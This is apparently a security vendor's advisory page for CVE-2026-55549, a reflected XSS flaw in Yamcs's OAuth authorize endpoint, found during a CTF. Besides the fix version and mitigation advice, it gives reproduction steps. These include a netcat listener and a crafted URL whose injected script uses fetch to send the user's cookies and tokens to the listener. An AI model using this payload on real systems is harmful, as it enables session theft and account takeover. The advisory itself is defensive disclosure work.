CVE-2026-55549 is a medium-severity (CVSS 6.5) Cross-site Scripting (XSS) vulnerability in org.yamcs:yamcs-core. O3 Security confirms whether CVE-2026-55549 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Yamcs has Reflected XSS in the URL of the Authorize Endpoint
Real-World Exposure
org.yamcs:yamcs-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Attack type:
Unauthenticated remote
Impact:
Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.
Affected components: authorize.html, AuthHandler.java, HandlerContext.java
A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.
Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:
You then use JavaScript to obtain the user's cookies and display them in the alert:
<img width="1794" height="1290" alt="image" src="https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435" />Finally, use the fetch function to send the user's cookies to a remote server which we controlled:
Now you can set these cookies in our own browser and login to Yamcs as the user.
Steps to Reproduce
- Start Yamcs
- Login as a user
- In a terminal, start a netcat listener:
nc -nlvp 8888
- Paste the following URL payload in the browser
http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou
- You will receive a connection on your netcat listener containing the user's access token and refresh token.
Acknowledgements
This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.yamcs:yamcs-core | all versions | 5.9.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.yamcs:yamcs-core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.yamcs:yamcs-core to 5.9.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55549 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-55549 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-55549. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-55549 in your dependencies?
O3 detects CVE-2026-55549 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.